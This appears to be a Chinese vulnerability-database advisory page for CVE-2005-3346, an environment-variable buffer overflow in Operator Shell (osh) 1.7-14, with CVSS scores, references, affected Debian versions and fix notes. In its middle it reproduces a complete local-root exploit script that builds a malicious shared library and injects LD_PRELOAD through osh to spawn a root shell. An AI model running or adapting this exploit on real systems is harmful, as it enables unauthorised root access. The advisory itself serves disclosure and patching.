CVE-2005-3346
CVSS7.2
发布时间 :2005-11-20 16:03:00
修订时间 :2011-03-07 21:26:23
NMCOES    

[原文]Buffer overflow in the environment variable substitution code in main.c in OSH 1.7-14 allows local users to inject arbitrary environment variables, such as LD_PRELOAD, via pathname arguments of the form "$VAR/EVAR=arg", which cause the EVAR portion to be appended to a buffer returned by a getenv function call.


[CNNVD]Mike Neuman OSH环境变量缓冲区溢出漏洞(CNNVD-200511-276)

        osh是一款用于限制用户操作行为的SHELL。
        OSH 1.7-14的main.c中环境变量替换代码内的缓冲区溢出,可让本地用户通过""$VAR/EVAR=arg"形式(这会导致EVAR部分附加到由getenv函数调用返回的缓冲区中)的路径名参数注入任意环境变量,如LD_PRELOAD。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3346
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3346
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200511-276
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2005/2378
(UNKNOWN)  VUPEN  ADV-2005-2378
http://secunia.com/advisories/17527
(VENDOR_ADVISORY)  SECUNIA  17527
http://pulltheplug.org/users/core/files/x_osh3.sh
(UNKNOWN)  MISC  http://pulltheplug.org/users/core/files/x_osh3.sh
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=338312
(UNKNOWN)  CONFIRM  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=338312
http://xforce.iss.net/xforce/xfdb/23091
(UNKNOWN)  XF  osh-main-execute-code(23091)
http://www.securityfocus.com/bid/15370
(UNKNOWN)  BID  15370
http://www.osvdb.org/20720
(UNKNOWN)  OSVDB  20720
http://www.debian.org/security/2005/dsa-918
(UNKNOWN)  DEBIAN  DSA-918
http://secunia.com/advisories/17967
(UNKNOWN)  SECUNIA  17967

- 漏洞信息

Mike Neuman OSH环境变量缓冲区溢出漏洞
高危 缓冲区溢出
2005-11-20 00:00:00 2005-11-21 00:00:00
本地  
        osh是一款用于限制用户操作行为的SHELL。
        OSH 1.7-14的main.c中环境变量替换代码内的缓冲区溢出,可让本地用户通过""$VAR/EVAR=arg"形式(这会导致EVAR部分附加到由getenv函数调用返回的缓冲区中)的路径名参数注入任意环境变量,如LD_PRELOAD。

- 公告与补丁

        暂无数据

- 漏洞信息 (1300)

Operator Shell (osh) 1.7-14 Local Root Exploit (EDBID:1300)
linux local
2005-11-09 Verified
0 Charles Stevenson
N/A [点击下载]
#!/bin/sh
#
# OSH 1.7-14 Exploit
#
# EDUCATIONAL purposes only.... :-)
#
# by Charles Stevenson (core) <core@bokeoa.com>
#
# Description:
# The Operator Shell (Osh) is a setuid root, security enhanced, restricted
# shell. It allows the administrator to carefully limit the access of special
# commands and files to the users whose duties require their use, while
# at the same time automatically maintaining audit records. The configuration
# file for Osh contains an administrator defined access profile for each
# authorized user or group.
#
# Problem discovered and described by Solar Eclipse:
#  
#  main.c:439
#  
#      if (gettoken(env, MAXENV)!=TWORD) {
#        fprintf(stderr,"Illegal or too long environment variable\n");
#        break;
#      }
#      if ((env2=getenv(env))==NULL) {
#        char temp[255];
#        char *temp2;
#  
#        strcpy(temp,env);
#        if ((temp2=(char *)strrchr(temp,'/'))!=NULL) {
#          if (temp2!=temp)
#            *temp2='\0';
#          else
#            *(temp2+1)='\0';
#          if ((env2=getenv(temp))!=NULL) {
#            strcat(env2,"/");
#            strcat(env2,temp2+1);
#          }
#        }
#      }
#  
#  exploit:
#  
#      This code is used to handle substitutions of environmental
#      variables. If the first call to getenv() fails, we might have a case
#      like $VAR/filename, so we find the last '/' character and replace
#      it with '\0'. Then we call getenv() on the shortened variable and
#      append "/filename" to it. The problem is that the return value of
#      getenv() is a NULL terminated string on the stack and by appending
#      to it we will overwriting the data after the string.
#  
#      This bug allows us to overwrite one of the environmental variables
#      passed to the child process. If we set the environmental variable
#      $VAR to the string "a" before executing osh, and then pass
#      "$VAR/LD_PRELOAD=evil.so" as a command line parameter, the above
#      code will overwrite the value of some environmental variable located
#      after $VAR with LD_PRELOAD=evil.so. Then osh will execute an
#      external non-suid program and the code in evil.so will be executed.
#  
#      I have not tested this, but it looks like a really cool bug.
#
# Risk: Medium since user would have to be in the operator group which
#       the admin would have to grant explicitly and I assume would be
#       a trustworthy individual ;-)
#
#       Then again the last two have been classified as "urgency=high"
#       according to Debian policy.  Truly sorry to cause Oohara Yuuma
#       so much work.  You really should orphan this package ;)
#
# Solution:
# apt-get --purge remove osh
#
# greetz to solar eclipse, nemo, andrewg, arcanum, mercy, amnesia, 
# banned-it, capsyl, sloth, ben, KF, akt0r, MRX, salvia, thn
#
# irc.pulltheplug.org (#social)
# 0dd: much <3 & respect
#
# Obligatory screenshot:
#   core@charity:~/hacking/sploits$ dpkg -l osh|grep ^ii
#   ii  osh            1.7-14         Operator's Shell
#   core@charity:~/hacking/sploits$ ./x_osh3.sh 
#   telnet: could not resolve /home/core/LD_PRELOAD=ownall.so/telnet: Name or service not known
#   sh-3.00# id
#   uid=0(root) gid=0(root) groups=0(root)


cd /tmp; cat >ownall.c <<EOF
/* ownall.c by Charles Stevenson (core) <core@bokeoa.com>
 * greetz Solar Eclipse, 0dd, irc.pulltheplug.org (#social) */
#include <stdlib.h>
#include <unistd.h>
int close(int fd) {
  gid_t groupsex = 0; /* osh isn't gettin' any tonight */
  setuid(0); /* Not really needed but make uid root */
  setgid(0); /* Set gid root too! */
  setgroups((size_t)1,&groupsex); /* This makes my pastes cooler looking */
  clearenv(); /* LD_PRELOAD was causing headaches ;) */
  execl("/bin/sh","/bin/sh",NULL);
  return 0;
}
EOF
gcc -shared -o ownall.so ownall.c
osh telnet -l '$USER/LD_LIBRARY_PATH=.' '$HOME/LD_PRELOAD=ownall.so'
rm -f ownall*

# milw0rm.com [2005-11-09]
		

- 漏洞信息

20720
Operator Shell (osh) main.c Environment Variable Substitution Local Privilege Escalation
Local Access Required Other
Loss of Integrity
Exploit Public Vendor Verified

- 漏洞描述

Operator Shell (osh) contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered by an error in the handling of environment variable substitutions, and exploited by loading arbitrary shared libraries. This flaw may lead to a loss of Integrity.

- 时间线

2005-11-09 Unknow
Unknow Unknow

- 解决方案

Upgrade to version 1.15 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Mike Neuman OSH Environment Variable Buffer Overflow Vulnerability
Boundary Condition Error 15370
No Yes
2005-11-09 12:00:00 2006-04-26 08:46:00
The discovery of this issue is credited to Solar Eclipse.

- 受影响的程序版本

osh osh 1.7
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
Debian Linux 3.1 sparc
Debian Linux 3.1 s/390
Debian Linux 3.1 ppc
Debian Linux 3.1 mipsel
Debian Linux 3.1 mips
Debian Linux 3.1 m68k
Debian Linux 3.1 ia-64
Debian Linux 3.1 ia-32
Debian Linux 3.1 hppa
Debian Linux 3.1 arm
Debian Linux 3.1 amd64
Debian Linux 3.1 alpha
Debian Linux 3.1
Debian Linux 3.0 sparc
Debian Linux 3.0 s/390
Debian Linux 3.0 ppc
Debian Linux 3.0 mipsel
Debian Linux 3.0 mips
Debian Linux 3.0 m68k
Debian Linux 3.0 ia-64
Debian Linux 3.0 ia-32
Debian Linux 3.0 hppa
Debian Linux 3.0 arm
Debian Linux 3.0 alpha
Debian Linux 3.0

- 漏洞讨论

The 'osh' utility is susceptible to a buffer-overflow vulnerability when processing environment variables. This issue is due to a flaw in the application that results in overwriting adjacent environment variables with user-supplied contents.

Attackers may exploit this issue to execute arbitrary code with superuser privileges.

- 漏洞利用

An exploit is not required.

The following example exploit by Charles Stevenson (core) <core@bokeoa.com> is available:

- 解决方案


Debian GNU/Linux has released advisory DSA 918-1, along with fixes to address various issues in osh. Please see the referenced advisory for further information.

--
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.commailto:vuldb@securityfocus.com


osh osh 1.7

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站